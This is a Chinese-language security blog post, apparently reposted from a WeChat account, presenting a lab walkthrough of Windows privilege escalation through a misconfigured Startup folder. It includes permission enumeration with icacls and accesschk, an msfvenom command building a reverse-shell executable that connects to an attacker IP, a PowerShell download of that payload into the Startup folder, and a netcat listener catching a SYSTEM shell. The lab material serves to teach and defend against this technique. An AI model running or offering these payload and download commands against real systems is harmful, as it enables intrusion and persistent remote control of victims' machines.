windows提权1: 顺水推舟

admin 2023年5月12日09:24:47评论22 views字数 1488阅读4分57秒阅读模式

Windows 启动文件夹

启动文件夹是一个可从“开始”菜单访问的文件夹。一旦用户打开他们的机器,保存在这个文件夹中的程序将立即启动。 Windows 中的启动文件夹有两个位置。

  • 在系统级别运行且所有用户帐户均可访问的启动文件夹
  • C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp
  • 运行对话框:Windows 键 + R,键入shell:common startup
  • 系统上的每个用户都有自己的在用户级别执行的启动文件夹。
    • C:Users<User_Name>AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup
    • 运行对话框:Windows 键 + R,键入shell: startup

    实验模拟

    在启动文件夹中注入恶意程序也会导致该程序在用户登录时执行,因此它可能有助于攻击者从错误配置的启动文件夹位置执行持久性或特权升级攻击。

    这种技术是众所周知的 APT(例如 APT3、APT33、APT39 等)使用的最受驱动的持久性方法。

    环境配置

    目标机器: Windows 10

    攻击机: Kali Linux

    工具: AccessChk.exe

    条件: 使用 MetasploitNetcat 等以低权限访问目标机器。

    目标: 通过利用错误配置的启动文件夹,提升低权限用户的 NT Authority /SYSTEM 权限。

    环境搭建

    1. 使用以下路径导航到启动目录C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp

      windows提权1: 顺水推舟

    2. 访问启动文件夹属性并选择安全选项。单击编辑选项以将危险权限分配给用户组。

    windows提权1: 顺水推舟
    1. 在目标系统上选择用户组并分配读写或完全控制权限。
    windows提权1: 顺水推舟

    通过滥用启动文件夹来提升权限

    • 使用 icacls 枚举分配权限

    攻击者可以利用这些配置位置来启动恶意软件,例如 RAT,以便在系统重启期间维持持久性。 在初步设置之后,可以使用以下命令识别权限:

    icacls "C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup"
    windows提权1: 顺水推舟
    • 使用 accessschk.exe 枚举分配权限

    accesschk.exe 是Sysinternals 工具的另一个权限检查工具。

    accesschk.exe /accepteula "C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup"

    这里在 BUILTINUsers 上分配了读写权限

    windows提权1: 顺水推舟
    • 创建恶意执行文件

    知道当前用户拥有启动文件夹的读写权限,因此可以注入 RAT 来执行持久化或权限升级。在 msfvenom 的帮助下创建一个可执行程序。

    msfvenom –p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > shell.exe

    python –m SimpleHTTPServer 80

    windows提权1: 顺水推舟
    • 执行恶意可执行文件

      在新终端中启动 netcat 侦听器,并在以下命令的帮助下传输 shell.exe

    cd C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup

    powershell wget 192.168.1.3/shell.exe -o shell.exe

    dir

    众所周知,这种攻击被命名为 Boot Logon Autostart Execution,这意味着 shell.exe 文件在系统重新启动时运行

    windows提权1: 顺水推舟

    攻击者将在新的 netcat 会话中以 NT AuthoritySystem 的身份获得反向连接

    windows提权1: 顺水推舟

    原文始发于微信公众号(奶牛安全):windows提权1: 顺水推舟

    • 左青龙
    • 微信扫一扫
    • weinxin
    • 右白虎
    • 微信扫一扫
    • weinxin
    admin
    • 本文由 发表于 2023年5月12日09:24:47
    • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                     windows提权1: 顺水推舟https://cn-sec.com/archives/1727184.html

    发表评论

    匿名网友 填写信息